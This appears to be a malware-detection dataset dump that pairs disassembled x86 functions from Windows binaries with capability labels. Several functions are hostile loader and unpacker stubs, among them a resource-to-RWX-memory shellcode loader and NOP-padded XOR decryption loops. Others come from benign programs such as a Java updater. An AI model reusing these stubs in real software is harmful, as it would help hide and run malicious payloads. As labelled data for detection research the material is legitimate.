joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401371
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Extract resource via kernel32 functions
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
mov esi, dword [esp + 0x8c]
and esi, 0xffff0000
mov eax, esi
cmp word [eax], 0x5a4d
jne 0x401390
add eax, dword [eax + 0x3c]
sub esi, 0x10000
cmp word [eax], 0x4550
jne 0x401384
add esi, 0x10000
push esi
mov eax, 0x40300c
pop dword [eax]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004012d9
mov dword [0x4030fe], eax
push 0x403010
push 0x3e8
push 0
call sub.kernel32.dll_FindResourceA
or eax, eax
jne 0x4013d4
leave
ret 8
push eax
push eax
push 0
call sub.kernel32.dll_SizeofResource
or eax, eax
jne 0x4013e5
leave
ret 8
mov dword [ebp - 8], eax
pop eax
push eax
push 0
call sub.kernel32.dll_LoadResource
or eax, eax
jne 0x4013f9
leave
ret 8
push eax
call sub.kernel32.dll_LockResource
or eax, eax
jne 0x401407
leave
ret 8
mov dword [ebp - 0xc], eax
push 4
push 0x3000
push dword [ebp - 8]
push 0
call sub.kernel32.dll_VirtualAlloc
or eax, eax
jne 0x401423
leave
ret 8
push eax
mov esi, dword [ebp - 0xc]
mov edi, eax
mov ecx, dword [ebp - 8]
rep movsb byte es:[edi], byte [esi]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 8]
push dword [esp + 0xc]
call fcn.00401165
mov ebx, dword [esp]
add ebx, dword [ebx + 0x3c]
lea eax, [ebx + 0x18]
mov ebx, dword [eax + 0x38]
pop eax
push ebx
push 0x8000
push 0
push eax
call sub.kernel32.dll_VirtualFree
mov ebx, dword [ebp + 0xc]
add ebx, dword [ebx + 0x3c]
lea eax, [ebx + 0x18]
mov ebx, dword [eax + 0x38]
mov dword [ebp - 4], ebx
mov ebx, dword [esp]
add ebx, dword [ebp + 0xc]
and ebx, 0xffff0000
add ebx, 0x10000
push 0x40
push 0x3000
push dword [ebp - 4]
push ebx
call sub.kernel32.dll_VirtualAlloc
or eax, eax
je 0x401476
mov edi, eax
mov esi, dword [ebp + 0xc]
mov ecx, dword [ebp - 4]
rep movsb byte es:[edi], byte [esi]
push eax
sub eax, dword [ebp + 0xc]
add dword [ebp + 8], eax
mov ebx, 0x4014ec
add ebx, dword [ebp + 8]
mov dword [ebp - 0x14], ebx
mov ebx, 0x401b88
add ebx, dword [ebp + 8]
sub ebx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ebx
lea ebx, [ebp - 0x14]
push ebx
push 0x4012a4
push dword [ebp + 0xc]
call fcn.00401272
pop eax
pop ebx
push eax
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
mov eax, dword [ebp + 8]
add dword [ebp - 0xc], eax
push dword [ebp - 0xc]
mov eax, 0x401757
add eax, dword [ebp + 8]
call eax
leave
ret 8

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x5d8e0902
nop
nop
test eax, eax
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e024
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x696076a5
nop
nop
nop
test eax, eax
nop
nop
je 0x42e084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404399

Function at 0x4047e5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x4047f4
pop dword [ebp - 0x44]
mov eax, 0x41b7ac3a
sub eax, 0x41776446
sub dword [ebp - 0x44], eax
push 0x40
push 0x1000
push 0x3968c
push 0
mov eax, 0x8fadb00c
sub eax, 0x8f6ccf34
add eax, dword [ebp - 0x44]
call dword [eax]
mov ecx, 0xb6f1e014
sub ecx, 0xb6f19758
xor edi, edi
add edi, eax
mov edx, 0x6b56b9bc
add edx, 0x94ea8208
add edx, dword [ebp - 0x44]
mov esi, 0xdc6f6699
sub dword [ebp - 4], 0x1b35313
mov ebx, dword [edx]
mov dword [ebp - 0x1c], 0x8b533ef0
xor ebx, esi
sub dword [ebp - 8], 0x5e3cf5c2
mov dword [edi], ebx
add edi, 4
add edx, 0x5a86fd65
sub edx, 0x5a86fd61
loop 0x40484f
add eax, 0x115c3
xor ebx, ebx
add ebx, eax
add eax, 0xc5b2c5d5
sub eax, 0xc5b2c5d0
mov ecx, 0x962e8137
sub ecx, 0x95ee8137
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x432004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..rsrc
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x148e4f96
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f314
mov ecx, 0x43f10212
nop
nop
nop
nop
nop
test eax, eax
je 0x432084
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x406315
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40ba88
cmp edx, dword [eax]
je 0x406337
add eax, 8
inc ecx
cmp eax, 0x40bb18
jl 0x406328
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40ba88]
jne 0x406465
mov eax, dword [0x40bfd4]
cmp eax, 1
je 0x40643f
test eax, eax
jne 0x406368
cmp dword [0x40b734], 1
je 0x40643f
cmp edx, 0xfc
je 0x406465
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x40639f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004037e0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004038d0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4063e2
lea eax, [ebp - 0x1a4]
push eax
call fcn.004038d0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x409584
push edi
call fcn.004077e0
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004037e0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004037f0
lea eax, [ebp - 0xa0]
push 0x409564
push eax
call fcn.004037f0
push dword [esi + 0x40ba8c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004037f0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00407756
add esp, 0x2c
pop edi
jmp 0x406465
lea eax, [ebp + 8]
lea esi, [esi + 0x40ba8c]
push 0
push eax
push dword [esi]
call fcn.004038d0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x40197d
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov eax, dword [esp + 8]
mov dword [0x4040d0], eax
xor eax, eax
mov ebp, esp
mov ecx, 0xa
push eax
dec ecx
jne 0x401990
push esp
mov dword [ebp - 0x24], 0x4016f4
mov eax, dword [0x4040d0]
mov dword [ebp - 0x18], eax
mov dword [ebp - 4], str.solienty
call dword [sym.imp.USER32.dll_RegisterClassA]
xor eax, eax
push eax
push dword [0x4040d0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.absent
push str.solienty
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x4040d8], eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x401a2f
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x1c]
push eax
call esi
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401a10
pop ebp
ret 0x10
Function at 0x4090ed
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x120
mov eax, dword [0x4b34c4]
xor eax, esp
mov dword [esp + 0x11c], eax
push ebx
mov ebx, ecx
mov ecx, dword [esp + 0x128]
push ebp
push esi
xor ebp, ebp
mov dword [esp + 0x1c], ecx
mov eax, dword [ebx + 4]
or eax, 0x2001f
mov dword [esp + 0xc], ebp
push eax
push ecx
push dword [ebx]
lea ecx, [esp + 0x18]
mov dword [esp + 0x1c], ebp
mov dword [esp + 0x20], ebp
call fcn.0045b6f9
mov esi, eax
test esi, esi
jne 0x4091cc
lea eax, [esp + 0x20]
mov dword [esp + 0x18], 0x100
push eax
push ebp
push ebp
push ebp
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x3c]
push eax
push ebp
push dword [esp + 0x28]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
call ebp
test eax, eax
jne 0x4091a4
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0x10]
call fcn.004090ed
mov esi, eax
test esi, esi
jne 0x4091cc
lea eax, [esp + 0x20]
mov dword [esp + 0x18], 0x100
push eax
push esi
push esi
push esi
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x3c]
push eax
push esi
push dword [esp + 0x28]
call ebp
test eax, eax
je 0x409169
jmp 0x4091a6
xor esi, esi
cmp dword [esp + 0xc], 0
je 0x4091bb
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0xc], esi
push dword [esp + 0x1c]
mov ecx, ebx
mov dword [esp + 0x14], esi
call fcn.0040899c
mov esi, eax
cmp dword [esp + 0xc], 0
je 0x4091dd
push dword [esp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x128]
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00450e68
add esp, 0x120
ret 4
Function at 0x40b7e7
Capabilities:
Delete file

Disassembly:
sub esp, 0x18c
mov eax, dword [0x4b34c4]
xor eax, esp
mov dword [esp + 0x188], eax
cmp dword [esp + 0x194], 0
push esi
mov esi, dword [esp + 0x194]
push edi
mov ecx, dword [esi + 0x2478]
jne 0x40b850
mov edx, dword [esi + 0x2474]
test edx, edx
je 0x40b822
test ecx, ecx
je 0x40b850
mov eax, dword [esi]
push edx
push ecx
push esi
call dword [eax + 0x10]
mov edi, eax
test edi, edi
jne 0x40b846
push 1
call fcn.004109e6
pop ecx
test eax, eax
je 0x40b850
mov eax, 0x80070204
jmp 0x40ba0a
call fcn.0045b6f9
jmp 0x40ba08
cmp dword [esi + 0x2478], 0
je 0x40b867
push 0x80
lea eax, [esi + 8]
push eax
call fcn.0045b6f9
push 0x104
lea eax, [esp + 0x90]
mov ecx, esi
push eax
call fcn.0040bbaa
mov edi, eax
test edi, edi
js 0x40b9fd
push ebx
push ebp
push str.Download_Status:_Download_Complete
call fcn.00412911
pop ecx
push 1
call fcn.00425c61
mov ecx, eax
call fcn.00425e91
mov edi, str.CDownloadManager::DownloadExecInstaller
mov ebp, str.c:_jenkins_workspace_8_2_build_windows_i586_cygwin_sans_NAS_jdk8u381_237_install_src_windows_au_jucheck_DownloadManager.cpp
test al, al
je 0x40b8f5
lea eax, [esp + 0x40]
push 0
push eax
call fcn.004256c0
push eax
lea eax, [esp + 0x34]
push str.DownloadManager_MOS_MODE
push eax
call fcn.0045b6f9
add esp, 0x14
push eax
push edi
push 0xa0
push ebp
push 1
call fcn.00425c61
mov ecx, eax
call fcn.00425e9d
lea ecx, [esp + 0x28]
call fcn.004063d7
lea ecx, [esp + 0x40]
call fcn.004063d7
lea eax, [esp + 0x94]
mov bl, 1
push eax
lea ecx, [esp + 0x14]
call fcn.004038cc
push 0
push 0x48764c
lea ecx, [esp + 0x18]
call fcn.0040d2aa
cmp eax, 0xffffffff
je 0x40b94b
push 1
call fcn.00425c61
mov ecx, eax
call fcn.00425e91
test al, al
je 0x40b949
push str.MOS__cb_detected__do_not_run
push edi
push 0xa6
push ebp
push 1
call fcn.00425c61
mov ecx, eax
call fcn.0040714b
xor bl, bl
mov eax, dword [esi]
lea ecx, [esp + 0x94]
push ecx
push esi
call dword [eax + 0x1c]
mov edi, eax
test edi, edi
js 0x40b987
test bl, bl
je 0x40b987
push dword [esp + 0x1a4]
mov eax, dword [esi]
lea ecx, [esp + 0x98]
push 1
push ecx
push esi
call dword [eax + 0x18]
mov edi, eax
test edi, edi
jns 0x40b9f0
push str.Download_Status:_Verification_of_Downloaded_File_Signature_Failed
jmp 0x40b9ea
lea eax, [esp + 0x94]
push eax
call dword [sym.imp.kernel32.dll_DeleteFileA]
lea ecx, [esp + 0x58]
call fcn.0043078e
lea ecx, [esp + 0x58]
call fcn.00430a04
call fcn.0042c575
push eax
push 0x74
call fcn.0042c575
push eax
push 0x72
lea ecx, [esp + 0x68]
call fcn.00430907
mov ecx, eax
call fcn.00430aeb
mov ecx, eax
call fcn.00430a71
lea ecx, [esp + 0x70]
call fcn.004063fd
lea ecx, [esp + 0x58]
call fcn.004063fd
call fcn.00411a99
push str.Download_Status:_Verification_of_Downloaded_File_Version_Failed
call fcn.00412911
pop ecx
lea ecx, [esp + 0x10]
call fcn.004063d7
pop ebp
pop ebx
jmp 0x40ba08
push str.Download_Status:_Download_Failed
call fcn.00412911
pop ecx
mov eax, edi
mov ecx, dword [esp + 0x190]
pop edi
pop esi
xor ecx, esp
call fcn.00450e68
add esp, 0x18c
ret 8
Function at 0x40d072
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x160
mov eax, dword [0x4b34c4]
xor eax, esp
mov dword [esp + 0x15c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x170]
push edi
call fcn.0045b6f9
mov ecx, dword [esp + 0x178]
xor edx, edx
inc edx
mov dword [esp + 0x10], eax
xor eax, eax
mov dword [esi + 0x54], edx
test ecx, ecx
mov ebp, edx
sete al
mov dword [esp + 0x14], eax
test ecx, ecx
je 0x40d0bc
and dword [esi + 0x58], 0
push 0x12
push str.PreDownldStatus
push 0
call fcn.0041210d
add esp, 0xc
lea ebx, [esi + 8]
mov eax, dword [ebx]
push ebx
call dword [eax + 0x28]
test eax, eax
je 0x40d216
mov edi, dword [esp + 0x14]
push 0
push dword [esp + 0x14]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
test eax, eax
je 0x40d216
mov eax, dword [ebx]
push ebp
push edi
push ebx
call dword [eax + 0x30]
mov edi, eax
cmp edi, 0x80070204
je 0x40d21b
test edi, edi
jne 0x40d203
cmp dword [esi + 0x2370], eax
je 0x40d203
and dword [esi + 0x50], eax
call fcn.0041bc0a
push eax
lea ecx, [esp + 0x94]
call fcn.0041b732
lea eax, [esi + 0x46c]
push eax
lea ecx, [esp + 0x7c]
call fcn.004038cc
lea eax, [esi + 0x18ec]
push eax
lea ecx, [esp + 0x64]
call fcn.004038cc
lea eax, [esi + 0x7ec]
push eax
lea ecx, [esp + 0x4c]
call fcn.004038cc
lea eax, [esi + 0x17ec]
push eax
lea ecx, [esp + 0x34]
call fcn.004038cc
lea eax, [esi + 0x19ec]
push eax
lea ecx, [esp + 0x1c]
call fcn.004038cc
lea eax, [esp + 0x78]
push eax
lea eax, [esp + 0x64]
push eax
lea eax, [esp + 0x50]
push eax
lea eax, [esp + 0x3c]
push eax
lea eax, [esp + 0x28]
push eax
lea ecx, [esp + 0xa4]
call fcn.0045b6f9
lea ecx, [esp + 0x18]
call fcn.004063d7
lea ecx, [esp + 0x30]
call fcn.004063d7
lea ecx, [esp + 0x48]
call fcn.004063d7
lea ecx, [esp + 0x60]
call fcn.004063d7
lea ecx, [esp + 0x78]
call fcn.004063d7
lea ecx, [esp + 0x90]
call fcn.0041bebb
xor ecx, ecx
inc ecx
mov dword [esi + 0x50], ecx
cmp eax, 2
je 0x40d25a
lea ecx, [esp + 0x90]
cmp dword [esp + 0x17c], edi
jne 0x40d24f
call fcn.0041b7e8
mov eax, dword [ebx]
xor edi, edi
push ebx
inc edi
xor ebp, ebp
call dword [eax + 0x28]
test eax, eax
jne 0x40d0e2
mov edi, 0x80004005
push dword [esp + 0x10]
call dword [sym.imp.kernel32.dll_CloseHandle]
cmp dword [esi + 0x247c], 0
je 0x40d232
and dword [esi + 0x54], 0
mov ecx, dword [esp + 0x16c]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00450e68
add esp, 0x160
ret 0xc
and dword [esi + 0x247c], 0
xor edi, edi
jmp 0x40d267
mov dword [esi + 0x247c], ecx
lea ecx, [esp + 0x90]
call fcn.0041b7e8
jmp 0x40d21b
Function at 0x40d762
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x4b34c4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.kernel32.dll_CreateEventA]
xor ebx, ebx
push edi
mov edi, dword [ebp + 8]
push ebx
push ebx
push 1
mov dword [edi + 0xc], 0xbc2
mov eax, dword [0x4b6c00]
push ebx
mov dword [edi + 0x18], eax
call esi
push ebx
push ebx
push 1
push ebx
mov dword [edi + 0x20], eax
call esi
push ebx
push ebx
push 1
push ebx
mov dword [edi + 0x24], eax
call esi
mov dword [edi + 0x38], eax
call fcn.0045b6f9
mov dword [edi + 0x3c], eax
call fcn.0045b6f9
push dword [edi + 0x20]
mov esi, dword [sym.imp.kernel32.dll_ResetEvent]
mov dword [edi + 0x40], eax
call esi
push dword [edi + 0x24]
call esi
push dword [edi + 0x38]
call esi
lea eax, [ebp - 0x10c]
push eax
push ebx
push edi
push 0x40d5a4
push ebx
push ebx
call dword [sym.imp.kernel32.dll_CreateThread]
test eax, eax
je 0x40d7f6
push eax
call dword [sym.imp.kernel32.dll_CloseHandle]
push 0xffffffffffffffff
push dword [edi + 0x20]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
push dword [edi + 0x20]
call esi
mov esi, dword [sym.imp.user32.dll_LoadStringA]
lea eax, [edi + 0x54]
mov ebx, 0x104
push ebx
push eax
push 0x7b
push dword [edi + 0x18]
call esi
push ebx
lea eax, [ebp - 0x108]
push eax
push 0x7c
push dword [edi + 0x18]
call esi
lea eax, [ebp - 0x108]
mov ecx, edi
push eax
call fcn.0040d888
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00450e68
leave
ret 4

Function at 0x40e7d4
Capabilities:
Encode data using xor

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
push ebp
mov ebp, dword [esp + 0x10]
lea ecx, [eax - 1]
push esi
mov ebx, ecx
push edi
mov edi, dword [esp + 0x1c]
mov esi, edi
sar ebx, 1
mov dword [esp + 0x10], edi
mov dword [esp + 0x1c], ecx
cmp edi, ebx
jge 0x40e830
add esi, esi
lea eax, [esi + 2]
imul ecx, eax, 0x30
add ecx, ebp
lea eax, [ecx - 0x30]
push eax
call fcn.0040443e
movzx eax, al
xor eax, 1
imul ecx, edi, 0x30
inc eax
add esi, eax
imul eax, esi, 0x30
add ecx, ebp
add eax, ebp
push eax
call fcn.0040b65a
mov edi, esi
cmp esi, ebx
jl 0x40e7fa
mov eax, dword [esp + 0x20]
cmp esi, ebx
jne 0x40e84f
test al, 1
jne 0x40e84f
imul eax, eax, 0x30
imul ecx, edi, 0x30
add eax, 0xffffffd0
add eax, ebp
add ecx, ebp
push eax
call fcn.0040b65a
mov edi, dword [esp + 0x1c]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x18]
push edi
push ebp
call fcn.0040e8f5
add esp, 0x14
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x411a99
Capabilities:
Delete file

Disassembly:
push ebp
lea ebp, [esp - 0x3bc]
sub esp, 0x43c
mov eax, dword [0x4b34c4]
xor eax, ebp
mov dword [ebp + 0x3b8], eax
push ebx
push esi
push edi
mov ebx, SysStringLen
lea ecx, [ebp - 0x64]
push ebx
call fcn.0043916c
lea eax, [ebp - 0x48]
push 0x400
push eax
call fcn.004120dc
mov esi, dword [sym.imp.kernel32.dll_DeleteFileA]
pop ecx
pop ecx
test eax, eax
js 0x411ae5
lea eax, [ebp - 0x48]
push eax
call esi
lea eax, [ebp - 0x48]
push eax
call fcn.00411e80
pop ecx
test eax, eax
je 0x411b05
lea eax, [ebp - 0x48]
push eax
push eax
call fcn.00411f80
pop ecx
pop ecx
lea eax, [ebp - 0x48]
push eax
call esi
call fcn.0045b6f9
xor edi, edi
push edi
push str.PreDownldStatus
push edi
call fcn.004121c3
add esp, 0xc
lea ecx, [ebp - 0x64]
push ebx
call fcn.004391aa
push edi
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x64]
call fcn.004391f1
test eax, eax
jne 0x411ba1
mov ebx, 0x20019
push ebx
lea eax, [ebp - 0x48]
inc edi
push eax
lea ecx, [ebp - 0x64]
call fcn.0043920a
lea ecx, [ebp - 0x64]
mov esi, eax
call fcn.00408b63
test esi, esi
jne 0x411b90
push eax
lea ecx, [ebp - 0x80]
call fcn.0043916c
push ebx
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x80]
call fcn.0043920a
lea ecx, [ebp - 0x80]
mov esi, eax
call fcn.00408b63
push eax
lea ecx, [ebp - 0x80]
call fcn.004391aa
test esi, esi
jne 0x411b90
push str.VersionXmlURL
lea ecx, [ebp - 0x80]
call fcn.004391e1
push edi
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x64]
call fcn.004391f1
test eax, eax
je 0x411b3a
mov ecx, dword [ebp + 0x3b8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00450e68
add ebp, 0x3bc
leave
ret

Function at 0x411f80
Capabilities:
Get common file path
Parse url

Disassembly:
sub esp, 0x644
mov eax, dword [0x4b34c4]
xor eax, esp
mov dword [esp + 0x640], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x654]
lea eax, [esp + 0xc]
push edi
mov edi, dword [esp + 0x65c]
push 0x3c
pop ebx
push ebx
push 0
push eax
mov byte [esp + 0x15c], 0
call fcn.004541a0
add esp, 0xc
mov dword [esp + 0x10], ebx
lea eax, [esp + 0x250]
mov dword [esp + 0x40], 0x400
mov dword [esp + 0x3c], eax
xor ebx, ebx
lea eax, [esp + 0x10]
push eax
push ebx
push esi
call dword [sym.imp.kernel32.dll_lstrlenA]
push eax
push esi
call dword [sym.imp.wininet.dll_InternetCrackUrlA]
mov ebp, 0x104
test eax, eax
je 0x412032
push 0x100
lea eax, [esp + 0x154]
push eax
push ebp
lea eax, [esp + 0x58]
push eax
push ebx
push ebx
push ebx
lea eax, [esp + 0x26c]
push ebx
push eax
call fcn.0045b6f9
lea eax, [esp + 0x70]
push 0x488208
push eax
call fcn.004547a0
add esp, 0x2c
test eax, eax
je 0x41204e
push 1
push esi
call fcn.004128da
push eax
lea eax, [esp + 0x58]
push str.jupdate__x
push eax
call dword [sym.imp.user32.dll_wsprintfA]
add esp, 0x14
push edi
push ebp
call dword [sym.imp.kernel32.dll_GetTempPathA]
mov esi, dword [sym.imp.kernel32.dll_lstrcatA]
lea eax, [esp + 0x4c]
push eax
push edi
call esi
lea eax, [esp + 0x150]
push eax
push edi
call esi
mov ecx, dword [esp + 0x650]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00450e68
add esp, 0x644
ret
Function at 0x41626a
Capabilities:
Delete file

Disassembly:
push 0x6c
mov eax, 0x47c105
call fcn.00450edb
mov esi, dword [ebp + 0xc]
xor ebx, ebx
mov edi, dword [ebp + 8]
inc ebx
push ebx
mov dword [ebp - 0x74], edi
mov dword [ebp - 0x78], esi
call fcn.00425c61
mov ecx, eax
call fcn.00425e91
test al, al
je 0x4162f3
push str.Verify_integrity_of___s__file_from___s_...
lea ecx, [ebp - 0x28]
call fcn.004038cc
and dword [ebp - 4], 0
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.0045b6f9
add esp, 0x10
push eax
push str.CheckFileIntegrity
push 0x95
push str.c:_jenkins_workspace_8_2_build_windows_i586_cygwin_sans_NAS_jdk8u381_237_install_src_windows_wrappers_common_UpdateUtils.cpp
push ebx
mov byte [ebp - 4], bl
call fcn.00425c61
mov ecx, eax
call fcn.00425e9d
lea ecx, [ebp - 0x58]
call fcn.004063d7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call fcn.004063d7
test esi, esi
je 0x416300
push esi
call fcn.0042801c
pop ecx
mov ebx, eax
push edi
push 0xffffffffffffffff
call fcn.0045b6f9
mov esi, eax
pop ecx
pop ecx
test ebx, ebx
je 0x416318
test esi, esi
je 0x41639b
push edi
push 0
call fcn.0045b6f9
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x41639b
push edi
call dword [sym.imp.kernel32.dll_DeleteFileA]
push 3
call fcn.00425c61
mov ecx, eax
call fcn.00425e91
test al, al
je 0x41639b
push str.Integrity_verification_failed_for___s_
lea ecx, [ebp - 0x40]
call fcn.004038cc
lea eax, [ebp - 0x74]
mov dword [ebp - 4], 2
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.0045b6f9
add esp, 0xc
push eax
push str.CheckFileIntegrity
push 0xac
push str.c:_jenkins_workspace_8_2_build_windows_i586_cygwin_sans_NAS_jdk8u381_237_install_src_windows_wrappers_common_UpdateUtils.cpp
push 3
mov byte [ebp - 4], 3
call fcn.00425c61
mov ecx, eax
call fcn.00425e9d
lea ecx, [ebp - 0x70]
call fcn.004063d7
lea ecx, [ebp - 0x40]
call fcn.004063d7
mov eax, esi
call fcn.00450e8a
ret